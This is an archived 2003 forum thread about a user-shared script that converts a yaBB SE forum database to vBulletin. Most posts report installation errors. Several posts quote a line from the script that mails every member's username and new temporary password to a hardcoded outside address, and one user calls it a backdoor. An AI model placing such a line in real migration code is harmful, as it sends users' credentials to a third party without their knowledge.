PDA

View Full Version : yaBB SE to vB converter


ssc
13 Feb 2003, 05:05
I'm glad to sharing the script which I wrote for the import from yaBB SE.
It is tested on vB 2.2.9 and yaBB SE 1.4.0.

Just copy to your site, change settings.php and run yabbse2vb.php
You will see the instruction then.

Please use english language. German language is not updated there.

Use for your OWN RISK.

Special thanks to "Television Board.de (Boothby)" for the yaBB to vB converter.
My script is based on that. :)

timo_copts
14 Feb 2003, 09:43
realy
thank u veryyyyyyyyyyy much
iam search for it frome month ago
i will try it but i need to make upgrade to yabbse
i have yabbse v 1.0.0
it work with it?? or i make upgrade????

ssc
14 Feb 2003, 12:09
Im not specialist in yaBB SE 1.0 but it will work if DB structure the same.
I have tested it only on my forum.

please do the backup of database because I have tested it only once.
:classic:

timo_copts
14 Feb 2003, 13:54
ok
i iwll upgrade-->yabbse v 1.0 to v1.4
and i have vb v 2.2.9
as u do in ur forum
thanks

nferreri
14 Feb 2003, 17:18
hmm.. just tried this and seem to be getting this error by just running the member upgrade:

tendaven (Error: "Table 'oldforums.user' doesn't exist")
shelick (Error: "Table 'oldforums.user' doesn't exist")
Niada (Error: "Table 'oldforums.user' doesn't exist")


all members coming up the same..

my database is called oldforums...

not sure why it's trying to reference oldforums.user ???? i put in the config file that the name of the users table was members.

nferreri
14 Feb 2003, 17:21
also noticing sql syntax errors when trying to import their personal text with a ' in the field. these extra ' are interfering with the sql string so you might want to do a replace to get rid of those and strip 'em out.

gerges
16 Feb 2003, 05:20
when i try to convert threads i get this error


Table 'yabbse.forum' doesn't exist

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\functions.php on line 13

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\functions.php on line 30

SELECT yabbse_topics.*, yabbse_messages.* FROM yabbse_topics LEFT JOIN yabbse_messages ON (yabbse_topics.ID_FIRST_MSG=yabbse_messages.ID_MSG) WHERE ID_BOARD=1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\functions.php on line 30


also for members get the error

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\functions.php on line 23

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\yabbse2vb.php on line 91

may u help plz
regards
gerges

ssc
17 Feb 2003, 10:48
Gerges, please check the settings into 'settings.php' file.

nferreri
17 Feb 2003, 19:37
any fixes for my problems?

ssc
19 Feb 2003, 11:41
nferreri, seems that oldforums is your yaBB database but you have to specify your vB database.

nferreri
19 Feb 2003, 19:58
Yes, I have specified all the correct information in the settings file. I was looking through the code to try and find out what's wrong and am little confused by this line:

$q="SELECT tmp_pass FROM user WHERE username='".$member["memberName"]."' AND email='".$member["emailADDress"]."'";

Where exactly is the tmp_pass field in the user table? I checked my table and I don't have that field.

nferreri
19 Feb 2003, 21:07
mail("sda@olc.ru","'$username': '$password'"," Your temporary password:\n $password");

A little unsure what this does too? mails username and password to sda@olc.ru? who's that?

tucklis
01 Mar 2003, 17:02
Is it possible to import just users with this hack? Also will it work for vbulletin 2.3.0?

Regards,
Kez

timo_copts
04 Mar 2003, 08:44
i have the same error

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\yabbse2vb.php on line 91

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in E:\www.coptic\copts.com\www\board\forum\functions.php on line 23


plz help us
iam and gerges
we check the settings into 'settings.php' file.its true

timo_copts
04 Mar 2003, 08:53
can any one help to fix this converter and thise error???

tucklis
04 Mar 2003, 09:58
I really need to use this convertor but it seems like there are still lots of errors in the hack...

tucklis
05 Mar 2003, 15:50
Has anyone successfully installed this hack??

timo_copts
05 Mar 2003, 16:01
can any one fixe this convert??fix it and make it importanty frome admin area

tucklis
05 Mar 2003, 17:03
Originally posted by timo_copts
can any one fixe this convert??fix it and make it importanty frome admin area

Yeha, please can someone have a look at this - I will be eternally grateful!!!!!!!!!!

tucklis
06 Mar 2003, 10:22
Originally posted by nferreri


mail("sda@olc.ru","'$username': '$password'"," Your temporary password:\n $password");

A little unsure what this does too? mails username and password to sda@olc.ru? who's that?



I got a reply regarding this on vbulletin.com:

It looks like the script creates a new password for each user and then is supposed to email them to the user - BUT it has been hardcoded to send the password to mentioned address.

Presumably the hacker forgot to revert this after testing it...

----------------------------------

Anyone else got any opinions?

fury
06 Mar 2003, 13:06
Try replacing it with this line:

mail("$member[1]","'$username': '$password'"," Your temporary password:\n $password");

It appears $member[1] is the index that is assigned to the user's email, so try that. However, this is only from a couple glances at the code. Try it out on a dummy YaBBSE at first like with just a couple of users or something.

tucklis
06 Mar 2003, 14:11
Thanks for your reply fury.

I tried running the script and it only converted a handful of threads and posts and no members :(

I tried it on yabbse ver 1.5 and vb ver 2.3.0. I think this may have something to do with it. Although I asked over at vb.com and they said 2.2.9 and 2.3.0 are very similar and it should effect it too much. Could this be the reason?

Thanks,
Kez

fury
06 Mar 2003, 14:24
2.2.9 and 2.3.0 are fairly similar - there are some new functions, templates and XSS fixes in 2.3.0 that aren't in 2.2.9, but the database schema for members, posts, threads is unchanged, in other words a converter built for 2.2.9 should technically work for 2.3.0 as well.

timo_copts
06 Mar 2003, 14:52
plz fury
why when i try convert mamber i got this error

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in c:\www.coptic\copts.com\www\board\forum\yabbse2vb.php on line 91

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in c:\www.coptic\copts.com\www\board\forum\functions.php on line 23
i chang settings.php all it
what i do it -1 or >0

$forum_id="-1"; //Forum ID, -1 für die Hauptseite, eine Zahl > 0 für ein vorhandenes Forum
//Forum ID, -1 for Board Index, a Number > 0 for an existing forum


what i do in it?? -1 or >0 and why i got this error??

fury
06 Mar 2003, 16:18
Without the original author of the hack, I wouldn't know where to start. I don't know YaBB SE. Sorry, but it looks like everyone is stuck until ssc sees this thread. :(

timo_copts
08 Mar 2003, 18:48
any fixes for my problems?

nferreri
25 Mar 2003, 17:10
I gave up on this.. I used phpBB to convert my yabbse then converted phpBB to vB with the given converters... worked fine... This hack was just way too buggy and demanded too much time rewriting it.. I wouldn't recommend anyone to use it..

YaBBSE -> phpBB -> vB is the best way to go.

timo_copts
30 Mar 2003, 22:33
i try it but it not succeed
its more difficult

tucklis
31 Mar 2003, 09:10
I managed to get it to work but had to get a techy to rewrite parts of it...

timo_copts
31 Mar 2003, 14:12
i succeed convert member but manual by prog its name
EMS MYSQL MANGER2

ftp://ftp.ems-hitech.com/pub/software/mymanager/mymanager.zip

but it take 2 days work...i try to convert posts but i cant
:ermm: :ermm:

blacknight
29 Apr 2003, 01:48
So far I managed to convert all the posts, but haven't had as much luck with the members :-(

Katana Myronson
20 Jun 2003, 19:13
Will this work with YaBB SE 1.5.3?

Katana Myronson
20 Jun 2003, 19:44
Oh, what does this have to with the script?
mail("sda@olc.ru","'$username': '$password'"," Your temporary password:\n $password");

I think i just found a backdoor. :P